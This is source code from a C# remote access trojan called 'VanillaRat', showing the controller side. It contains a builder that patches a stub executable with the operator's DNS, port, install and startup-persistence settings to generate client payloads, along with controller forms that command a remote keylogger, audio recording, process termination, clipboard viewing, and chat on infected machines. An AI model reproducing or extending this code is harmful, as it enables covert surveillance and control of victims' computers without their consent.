22 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|Any CPU.Build.0 = Release|Any CPU
24 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|x64.ActiveCfg = Release|x64
25 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|x64.Build.0 = Release|x64
26 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
27 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|Any CPU.Build.0 = Debug|Any CPU
28 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|x64.ActiveCfg = Debug|Any CPU
29 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|x64.Build.0 = Debug|Any CPU
30 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|Any CPU.ActiveCfg = Release|Any CPU
31 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|Any CPU.Build.0 = Release|Any CPU
32 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|x64.ActiveCfg = Release|Any CPU
33 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Release|x64.Build.0 = Release|Any CPU
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {CB1F02AE-CE6C-475A-923A-92E441640478}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/VanillaRat.sln.DotSettings.user:
--------------------------------------------------------------------------------
1 |
2 | SOLUTION
3 |
4 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
5 | <Policy Inspect="True" Prefix="" Suffix="" Style="AA_BB"><ExtraRule Prefix="" Suffix="" Style="AaBb" /></Policy>
6 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
7 | <Policy Inspect="True" Prefix="" Suffix="" Style="aaBb"><ExtraRule Prefix="n" Suffix="" Style="AaBb" /></Policy>
8 | 2
--------------------------------------------------------------------------------
/VanillaRat/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
7 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 | 1604
19 |
20 |
21 | 50
22 |
23 |
24 | False
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/VanillaRat/Classes/AutoClosingMsgBox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Threading;
4 | using System.Windows.Forms;
5 | using Timer = System.Threading.Timer;
6 |
7 | namespace VanillaRat.Classes
8 | {
9 | //BY DMITRYG - STACKOVERFLOW
10 | public class AutoClosingMessageBox
11 | {
12 | private const int WM_CLOSE = 0x0010;
13 | private readonly string _caption;
14 | private readonly Timer _timeoutTimer;
15 | private readonly DialogResult _timerResult;
16 | private DialogResult _result;
17 |
18 | private AutoClosingMessageBox(string text, string caption, int timeout,
19 | MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None)
20 | {
21 | _caption = caption;
22 | _timeoutTimer = new Timer(OnTimerElapsed,
23 | null, timeout, Timeout.Infinite);
24 | _timerResult = timerResult;
25 | using (_timeoutTimer)
26 | {
27 | _result = MessageBox.Show(text, caption, buttons);
28 | }
29 | }
30 |
31 | public static DialogResult Show(string text, string caption, int timeout,
32 | MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None)
33 | {
34 | return new AutoClosingMessageBox(text, caption, timeout, buttons, timerResult)._result;
35 | }
36 |
37 | private void OnTimerElapsed(object state)
38 | {
39 | IntPtr mbWnd = FindWindow("#32770", _caption); // lpClassName is #32770 for MessageBox
40 | if (mbWnd != IntPtr.Zero)
41 | SendMessage(mbWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
42 | _timeoutTimer.Dispose();
43 | _result = _timerResult;
44 | }
45 |
46 | [DllImport("user32.dll", SetLastError = true)]
47 | private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
48 |
49 | [DllImport("user32.dll", CharSet = CharSet.Auto)]
50 | private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
51 | }
52 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Builder.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using dnlib.DotNet;
5 | using VanillaRatStub;
6 |
7 | namespace VanillaRat.Classes
8 | {
9 | internal class Builder
10 | {
11 | //Build client
12 | public void BuildClient(string Port, string DNS, string Name, string ClientTag, string UpdateInterval,
13 | string Install, string Startup)
14 | {
15 | ClientSettings.DNS = DNS;
16 | ClientSettings.Port = Port;
17 | ClientSettings.ClientTag = ClientTag;
18 | ClientSettings.UpdateInterval = UpdateInterval;
19 | ClientSettings.Install = Install == "True" ? "True" : "False";
20 | ClientSettings.Startup = Startup == "True" ? "True" : "False";
21 | string FullName = "VanillaRatStub.ClientSettings";
22 | var Assembly = AssemblyDef.Load("VanillaStub.exe");
23 | var Module = Assembly.ManifestModule;
24 | if (Module != null)
25 | {
26 | var Settings = Module.GetTypes().Where(type => type.FullName == FullName).FirstOrDefault();
27 | if (Settings != null)
28 | {
29 | var Constructor = Settings.FindMethod(".cctor");
30 | if (Constructor != null)
31 | {
32 | Constructor.Body.Instructions[0].Operand = ClientSettings.DNS;
33 | Constructor.Body.Instructions[2].Operand = ClientSettings.Port;
34 | Constructor.Body.Instructions[4].Operand = ClientSettings.ClientTag;
35 | Constructor.Body.Instructions[6].Operand = ClientSettings.UpdateInterval;
36 | Constructor.Body.Instructions[8].Operand = ClientSettings.Install;
37 | Constructor.Body.Instructions[10].Operand = ClientSettings.Startup;
38 | if (!Directory.Exists(Environment.CurrentDirectory + @"\Clients"))
39 | Directory.CreateDirectory(Environment.CurrentDirectory + @"\Clients");
40 | Assembly.Write(Environment.CurrentDirectory + @"\Clients\" + Name + ".exe");
41 | }
42 | }
43 | }
44 | }
45 | }
46 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Notification.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using System.Windows.Forms;
4 |
5 | namespace VanillaRat.Classes
6 | {
7 | public class Notification : Form
8 | {
9 | //Override form load to place lower right
10 | protected override void OnLoad(EventArgs e)
11 | {
12 | PlaceLowerRight();
13 | base.OnLoad(e);
14 | }
15 |
16 | //Override form close to fade out
17 | protected override void OnFormClosing(FormClosingEventArgs e)
18 | {
19 | base.OnFormClosing(e);
20 | if (!e.Cancel)
21 | for (int op = 99; op >= 0; op -= 3)
22 | {
23 | Opacity = op / 100f;
24 | Thread.Sleep(15);
25 | }
26 | }
27 |
28 | //Place form lower right of screen
29 | private void PlaceLowerRight()
30 | {
31 | Screen rightmost = Screen.AllScreens[0];
32 | foreach (Screen screen in Screen.AllScreens)
33 | if (screen.WorkingArea.Right > rightmost.WorkingArea.Right)
34 | rightmost = screen;
35 | Left = rightmost.WorkingArea.Right - Width;
36 | Top = rightmost.WorkingArea.Bottom - Height;
37 | }
38 | }
39 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Server.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRat.Classes
2 | {
3 | internal static class Server
4 | {
5 | public static Telepathy.Server MainServer = new Telepathy.Server();
6 | }
7 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Settings.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRat.Classes
2 | {
3 | internal class Settings
4 | {
5 | public struct Values
6 | {
7 | //Get port from user settings
8 | public int GetPort()
9 | {
10 | return Properties.Settings.Default.Port;
11 | }
12 |
13 | //Get update interval from settings
14 | public int GetUpdateInterval()
15 | {
16 | return Properties.Settings.Default.UpdateInterval;
17 | }
18 |
19 | //Get notify on connection from settings
20 | public bool GetNotifyValue()
21 | {
22 | return Properties.Settings.Default.Notfiy;
23 | }
24 | }
25 | }
26 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Telepathy/EventType.cs:
--------------------------------------------------------------------------------
1 | namespace Telepathy
2 | {
3 | public enum EventType
4 | {
5 | Connected,
6 | Data,
7 | Disconnected
8 | }
9 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Telepathy/Logger.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace Telepathy
4 | {
5 | public static class Logger
6 | {
7 | public static Action Log = Console.WriteLine;
8 | public static Action LogWarning = Console.WriteLine;
9 | public static Action LogError = Console.Error.WriteLine;
10 | }
11 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Telepathy/Message.cs:
--------------------------------------------------------------------------------
1 | namespace Telepathy
2 | {
3 | public class Message
4 | {
5 | public int connectionId;
6 | public byte[] data;
7 | public EventType eventType;
8 |
9 | public Message(int connectionId, EventType eventType, byte[] data)
10 | {
11 | this.connectionId = connectionId;
12 | this.eventType = eventType;
13 | this.data = data;
14 | }
15 | }
16 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Telepathy/NetworkStreamExtensions.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Net.Sockets;
3 |
4 | namespace Telepathy
5 | {
6 | public static class NetworkStreamExtensions
7 | {
8 | public static int ReadSafely(this NetworkStream stream, byte[] buffer, int offset, int size)
9 | {
10 | try
11 | {
12 | return stream.Read(buffer, offset, size);
13 | }
14 | catch (IOException)
15 | {
16 | return 0;
17 | }
18 | }
19 |
20 | public static bool ReadExactly(this NetworkStream stream, byte[] buffer, int amount)
21 | {
22 | int bytesRead = 0;
23 | while (bytesRead < amount)
24 | {
25 | int remaining = amount - bytesRead;
26 | int result = stream.ReadSafely(buffer, bytesRead, remaining);
27 |
28 | if (result == 0)
29 | return false;
30 |
31 | bytesRead += result;
32 | }
33 |
34 | return true;
35 | }
36 | }
37 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Telepathy/SafeQueue.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Telepathy
4 | {
5 | public class SafeQueue
6 | {
7 | private readonly Queue queue = new Queue();
8 |
9 | public int Count
10 | {
11 | get
12 | {
13 | lock (queue)
14 | {
15 | return queue.Count;
16 | }
17 | }
18 | }
19 |
20 | public void Enqueue(T item)
21 | {
22 | lock (queue)
23 | {
24 | queue.Enqueue(item);
25 | }
26 | }
27 |
28 | public bool TryDequeue(out T result)
29 | {
30 | lock (queue)
31 | {
32 | result = default(T);
33 | if (queue.Count > 0)
34 | {
35 | result = queue.Dequeue();
36 | return true;
37 | }
38 |
39 | return false;
40 | }
41 | }
42 |
43 | public bool TryDequeueAll(out T[] result)
44 | {
45 | lock (queue)
46 | {
47 | result = queue.ToArray();
48 | queue.Clear();
49 | return result.Length > 0;
50 | }
51 | }
52 |
53 | public void Clear()
54 | {
55 | lock (queue)
56 | {
57 | queue.Clear();
58 | }
59 | }
60 | }
61 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/Telepathy/Utils.cs:
--------------------------------------------------------------------------------
1 | namespace Telepathy
2 | {
3 | public static class Utils
4 | {
5 | public static byte[] IntToBytesBigEndian(int value)
6 | {
7 | return new[]
8 | {
9 | (byte) (value >> 24),
10 | (byte) (value >> 16),
11 | (byte) (value >> 8),
12 | (byte) value
13 | };
14 | }
15 |
16 | public static int BytesToIntBigEndian(byte[] bytes)
17 | {
18 | return
19 | (bytes[0] << 24) |
20 | (bytes[1] << 16) |
21 | (bytes[2] << 8) |
22 | bytes[3];
23 | }
24 | }
25 | }
--------------------------------------------------------------------------------
/VanillaRat/Classes/TempDataHelper.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRat.Classes
2 | {
3 | internal class TempDataHelper
4 | {
5 | public static string DownloadLocation { get; set; }
6 | public static bool CanUpload { get; set; }
7 | }
8 | }
--------------------------------------------------------------------------------
/VanillaRat/ClientSettings.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRatStub
2 | {
3 | public static class ClientSettings
4 | {
5 | public static string DNS = "";
6 | public static string Port = "";
7 | public static string ClientTag = "";
8 | public static string UpdateInterval = "";
9 | public static string Install = "";
10 | public static string Startup = "";
11 | }
12 | }
--------------------------------------------------------------------------------
/VanillaRat/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/VanillaRat/Forms/AudioRecorder.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRat.Forms
2 | {
3 | partial class AudioRecorder
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.btnStartStopRecord = new System.Windows.Forms.Button();
32 | this.btnPlayback = new System.Windows.Forms.Button();
33 | this.SuspendLayout();
34 | //
35 | // btnStartStopRecord
36 | //
37 | this.btnStartStopRecord.Location = new System.Drawing.Point(12, 12);
38 | this.btnStartStopRecord.Name = "btnStartStopRecord";
39 | this.btnStartStopRecord.Size = new System.Drawing.Size(193, 23);
40 | this.btnStartStopRecord.TabIndex = 0;
41 | this.btnStartStopRecord.Text = "Start Recording";
42 | this.btnStartStopRecord.UseVisualStyleBackColor = true;
43 | this.btnStartStopRecord.Click += new System.EventHandler(this.btnStartStopRecord_Click);
44 | //
45 | // btnPlayback
46 | //
47 | this.btnPlayback.Location = new System.Drawing.Point(12, 41);
48 | this.btnPlayback.Name = "btnPlayback";
49 | this.btnPlayback.Size = new System.Drawing.Size(193, 23);
50 | this.btnPlayback.TabIndex = 1;
51 | this.btnPlayback.Text = "Start Playing";
52 | this.btnPlayback.UseVisualStyleBackColor = true;
53 | this.btnPlayback.Click += new System.EventHandler(this.btnPlayback_Click);
54 | //
55 | // AudioRecorder
56 | //
57 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
58 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
59 | this.ClientSize = new System.Drawing.Size(217, 76);
60 | this.Controls.Add(this.btnPlayback);
61 | this.Controls.Add(this.btnStartStopRecord);
62 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
63 | this.Name = "AudioRecorder";
64 | this.ShowIcon = false;
65 | this.Text = "Audio Recorder";
66 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.AudioRecorder_FormClosing);
67 | this.ResumeLayout(false);
68 |
69 | }
70 |
71 | #endregion
72 |
73 | private System.Windows.Forms.Button btnStartStopRecord;
74 | private System.Windows.Forms.Button btnPlayback;
75 | }
76 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/AudioRecorder.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Media;
4 | using System.Text;
5 | using System.Windows.Forms;
6 | using VanillaRat.Classes;
7 |
8 | namespace VanillaRat.Forms
9 | {
10 | public partial class AudioRecorder : Form
11 | {
12 | private bool Playing;
13 | private bool Recording;
14 | private SoundPlayer SP = new SoundPlayer();
15 |
16 | public AudioRecorder()
17 | {
18 | InitializeComponent();
19 | btnPlayback.Enabled = false;
20 | MinimizeBox = false;
21 | MaximizeBox = false;
22 | Update = true;
23 | }
24 |
25 | public int ConnectionID { get; set; }
26 | public bool Update { get; set; }
27 | public byte[] BytesToPlay { get; set; }
28 |
29 | //Start or stop audio recording
30 | private void btnStartStopRecord_Click(object sender, EventArgs e)
31 | {
32 | if (!Recording)
33 | {
34 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StartAR"));
35 | btnStartStopRecord.Text = "Stop Recording";
36 | Recording = true;
37 | btnPlayback.Enabled = false;
38 | }
39 | else
40 | {
41 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StopAR"));
42 | btnStartStopRecord.Text = "Start Recording";
43 | Recording = false;
44 | btnPlayback.Enabled = true;
45 | }
46 | }
47 |
48 | //Start or stop audio playback
49 | private void btnPlayback_Click(object sender, EventArgs e)
50 | {
51 | if (BytesToPlay == null)
52 | {
53 | MessageBox.Show("Error: No audio to play. Recorded audio may not have sent yet.", "Error",
54 | MessageBoxButtons.OK, MessageBoxIcon.Error);
55 | return;
56 | }
57 |
58 | if (!Playing)
59 | try
60 | {
61 | using (MemoryStream MS = new MemoryStream(BytesToPlay))
62 | {
63 | SP = new SoundPlayer(MS);
64 | SP.Play();
65 | }
66 |
67 | btnPlayback.Text = "Stop Playing";
68 | Playing = true;
69 | }
70 | catch { }
71 | else
72 | try
73 | {
74 | SP.Stop();
75 | Playing = false;
76 | btnPlayback.Text = "Start Playing";
77 | }
78 | catch { }
79 | }
80 |
81 | //On form close
82 | private void AudioRecorder_FormClosing(object sender, FormClosingEventArgs e)
83 | {
84 | Update = false;
85 | }
86 | }
87 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/BuilderForm.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Windows.Forms;
4 | using VanillaRat.Classes;
5 |
6 | namespace VanillaRat.Forms
7 | {
8 | public partial class BuilderForm : Form
9 | {
10 | public BuilderForm()
11 | {
12 | InitializeComponent();
13 | MinimizeBox = false;
14 | MaximizeBox = false;
15 | Update = true;
16 | }
17 |
18 | public bool Update { get; set; }
19 |
20 | //Build client
21 | private void btnBuild_Click(object sender, EventArgs e)
22 | {
23 | if (txtDNS.Text == null || txtPort.Text == null || txtName.Text == null || txtClientTag.Text == null ||
24 | txtInterval.Text == null)
25 | {
26 | MessageBox.Show("Error: One or more text fields is empty.", "Error", MessageBoxButtons.OK,
27 | MessageBoxIcon.Error);
28 | return;
29 | }
30 | Builder ClientBuilder = new Builder();
31 | try
32 | {
33 | Convert.ToInt16(txtPort.Text);
34 | Convert.ToInt16(txtInterval.Text);
35 | }
36 | catch (Exception EX)
37 | {
38 | MessageBox.Show("Error: " + EX.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
39 | return;
40 | }
41 |
42 | string Install = cbEnableInstallation.Checked ? "True" : "False";
43 | string Startup = cbEnableStartup.Checked ? "True" : "False";
44 |
45 | ClientBuilder.BuildClient(txtPort.Text, txtDNS.Text, txtName.Text, txtClientTag.Text, txtInterval.Text,
46 | Install, Startup);
47 | Process.Start("explorer.exe", Environment.CurrentDirectory + @"\Clients\");
48 | Hide();
49 | }
50 |
51 | //If enable install checked
52 | private void cbEnableInstallation_CheckedChanged(object sender, EventArgs e)
53 | {
54 | if (cbEnableInstallation.Checked)
55 | cbEnableStartup.Enabled = true;
56 | else
57 | cbEnableStartup.Enabled = false;
58 | }
59 |
60 | //On form close
61 | private void BuilderForm_FormClosing(object sender, FormClosingEventArgs e)
62 | {
63 | Update = false;
64 | }
65 | }
66 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/Chat.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Windows.Forms;
4 | using VanillaRat.Classes;
5 |
6 | namespace VanillaRat.Forms
7 | {
8 | public partial class Chat : Form
9 | {
10 | public Chat()
11 | {
12 | InitializeComponent();
13 | Update = true;
14 | }
15 |
16 | public int ConnectionID { get; set; }
17 | public bool Update { get; set; }
18 |
19 | //Send message by button
20 | private void btnSend_Click(object sender, EventArgs e)
21 | {
22 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtSend.Text));
23 | if (string.IsNullOrWhiteSpace(txtChat.Text))
24 | txtChat.Text = "You: " + txtSend.Text;
25 | else
26 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text);
27 | txtSend.Text = "";
28 | }
29 |
30 | //Send message by enter key
31 | private void txtSend_KeyDown(object sender, KeyEventArgs e)
32 | {
33 | if (e.KeyCode == Keys.Enter)
34 | {
35 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtSend.Text));
36 | if (string.IsNullOrWhiteSpace(txtChat.Text))
37 | txtChat.Text = "You: " + txtSend.Text;
38 | else
39 | txtChat.AppendText(Environment.NewLine + "You: " + txtSend.Text);
40 | txtSend.Text = "";
41 | }
42 | }
43 |
44 | //On form close
45 | private void Chat_FormClosing(object sender, FormClosingEventArgs e)
46 | {
47 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("CloseChat"));
48 | Update = false;
49 | }
50 |
51 | //On form load
52 | private void Chat_Load(object sender, EventArgs e)
53 | {
54 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]Opened chat"));
55 | }
56 | }
57 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/ClientRunningApps.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Threading.Tasks;
4 | using System.Windows.Forms;
5 | using VanillaRat.Classes;
6 |
7 | namespace VanillaRat.Forms
8 | {
9 | public partial class ClientRunningApps : Form
10 | {
11 | public ClientRunningApps()
12 | {
13 | InitializeComponent();
14 | MinimizeBox = false;
15 | MaximizeBox = false;
16 | Update = true;
17 | }
18 |
19 | public bool Update { get; set; }
20 |
21 | public int ConnectionID { get; set; }
22 |
23 | //Refresh listed processes
24 | private void btnRefreshProcesses_Click(object sender, EventArgs e)
25 | {
26 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("GetProcesses"));
27 | }
28 |
29 | //End selected process
30 | private async void btnEndProcess_Click(object sender, EventArgs e)
31 | {
32 | if (lbRunningProcesses.SelectedItems.Count == 0)
33 | {
34 | MessageBox.Show("Please select a process!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
35 | return;
36 | }
37 |
38 | ListViewItem Item = lbRunningProcesses.SelectedItems[0];
39 | Server.MainServer.Send(ConnectionID,
40 | Encoding.ASCII.GetBytes("EndProcess<{" + Item.SubItems[1].Text + "}>"));
41 | await Task.Delay(50);
42 | Item.Remove();
43 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("GetProcesses"));
44 | }
45 |
46 | //On form close
47 | private void ClientRunningApps_FormClosing(object sender, FormClosingEventArgs e)
48 | {
49 | Update = false;
50 | }
51 | }
52 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/ClipboardTextViewer.cs:
--------------------------------------------------------------------------------
1 | using System.Windows.Forms;
2 |
3 | namespace VanillaRat.Forms
4 | {
5 | public partial class ClipboardTextViewer : Form
6 | {
7 | public ClipboardTextViewer()
8 | {
9 | InitializeComponent();
10 | MinimizeBox = false;
11 | MaximizeBox = false;
12 | Update = true;
13 | }
14 |
15 | public int ConnectionID { get; set; }
16 | public bool Update { get; set; }
17 |
18 | //On form close
19 | private void ClipboardTextViewer_FormClosing(object sender, FormClosingEventArgs e)
20 | {
21 | Update = false;
22 | }
23 | }
24 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/ComputerInformation.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRat.Forms
2 | {
3 | partial class ComputerInformation
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.lbInformation = new System.Windows.Forms.ListBox();
32 | this.SuspendLayout();
33 | //
34 | // lbInformation
35 | //
36 | this.lbInformation.BorderStyle = System.Windows.Forms.BorderStyle.None;
37 | this.lbInformation.Dock = System.Windows.Forms.DockStyle.Fill;
38 | this.lbInformation.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
39 | this.lbInformation.FormattingEnabled = true;
40 | this.lbInformation.ItemHeight = 16;
41 | this.lbInformation.Location = new System.Drawing.Point(0, 0);
42 | this.lbInformation.Name = "lbInformation";
43 | this.lbInformation.Size = new System.Drawing.Size(481, 264);
44 | this.lbInformation.TabIndex = 0;
45 | //
46 | // ComputerInformation
47 | //
48 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
49 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
50 | this.BackColor = System.Drawing.SystemColors.Window;
51 | this.ClientSize = new System.Drawing.Size(481, 264);
52 | this.Controls.Add(this.lbInformation);
53 | this.Name = "ComputerInformation";
54 | this.ShowIcon = false;
55 | this.Text = "ComputerInformation";
56 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ComputerInformation_FormClosing);
57 | this.ResumeLayout(false);
58 |
59 | }
60 |
61 | #endregion
62 |
63 | public System.Windows.Forms.ListBox lbInformation;
64 | }
65 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/ComputerInformation.cs:
--------------------------------------------------------------------------------
1 | using System.Windows.Forms;
2 |
3 | namespace VanillaRat.Forms
4 | {
5 | public partial class ComputerInformation : Form
6 | {
7 | public ComputerInformation()
8 | {
9 | InitializeComponent();
10 | Update = true;
11 | }
12 |
13 | public int ConnectionID { get; set; }
14 | public bool Update { get; set; }
15 |
16 | //On form close
17 | private void ComputerInformation_FormClosing(object sender, FormClosingEventArgs e)
18 | {
19 | Update = false;
20 | }
21 | }
22 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/Controls/FlatPanel.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaRat.Forms.Controls
2 | {
3 | partial class FlatPanel
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Component Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | components = new System.ComponentModel.Container();
32 | }
33 |
34 | #endregion
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/VanillaRat/Forms/Controls/FlatPanel.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Drawing.Drawing2D;
7 | using System.Linq;
8 | using System.Text;
9 | using System.Threading.Tasks;
10 | using System.Windows.Forms;
11 |
12 | namespace VanillaRat.Forms.Controls
13 | {
14 | public partial interface IFlatPanel
15 | {
16 | Color BorderColor { get; set; }
17 | }
18 |
19 | public partial class FlatPanel : Control, IFlatPanel
20 | {
21 | public FlatPanel()
22 | {
23 | InitializeComponent();
24 | SetStyle(ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.DoubleBuffer | ControlStyles.AllPaintingInWmPaint, true);
25 | BorderColor = Color.Black;
26 | }
27 |
28 | public Color BorderColor { get; set; }
29 |
30 | protected override void OnPaint(PaintEventArgs pe)
31 | {
32 | using (SolidBrush SB = new SolidBrush(BackColor))
33 | pe.Graphics.FillRectangle(SB, ClientRectangle);
34 | pe.Graphics.DrawRectangle(new Pen(BorderColor), 0, 0, ClientSize.Width - 1, ClientSize.Height - 1);
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/VanillaRat/Forms/Keylogger.cs:
--------------------------------------------------------------------------------
1 | using System.Text;
2 | using System.Windows.Forms;
3 | using VanillaRat.Classes;
4 |
5 | namespace VanillaRat.Forms
6 | {
7 | public partial class Keylogger : Form
8 | {
9 | public Keylogger()
10 | {
11 | InitializeComponent();
12 | MinimizeBox = false;
13 | MaximizeBox = false;
14 | Update = true;
15 | }
16 |
17 | public int ConnectionId { get; set; }
18 | public bool Update { get; set; }
19 |
20 | //Stop keylogger
21 | private void Keylogger_FormClosing(object sender, FormClosingEventArgs e)
22 | {
23 | Update = false;
24 | Server.MainServer.Send(ConnectionId, Encoding.ASCII.GetBytes("StopKL"));
25 | }
26 | }
27 | }
--------------------------------------------------------------------------------
/VanillaRat/Forms/NotificationBox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Media;
3 | using System.Threading.Tasks;
4 | using VanillaRat.Classes;
5 | using VanillaRat.Properties;
6 |
7 | namespace VanillaRat.Forms
8 | {
9 | public partial class
10 | NotificationBox : Notification //TO EDIT THIS FORM INHERIT REGULAR FORM FIRST ELSE IT WILL NOT DISPLAY IN DESIGNER
11 | {
12 | public NotificationBox()
13 | {
14 | InitializeComponent();
15 | Opacity = 0;
16 | }
17 |
18 | public string IP { get; set; }
19 |
20 | public string ClientTag { get; set; }
21 |
22 | //Fade form in
23 | private async void FadeIn(int UpdateInterval)
24 | {
25 | try
26 | {
27 | while (Opacity < 1.0)
28 | {
29 | await Task.Delay(UpdateInterval);
30 | Opacity += 0.05;
31 | }
32 |
33 | Opacity = 1;
34 | }
35 | catch { }
36 | }
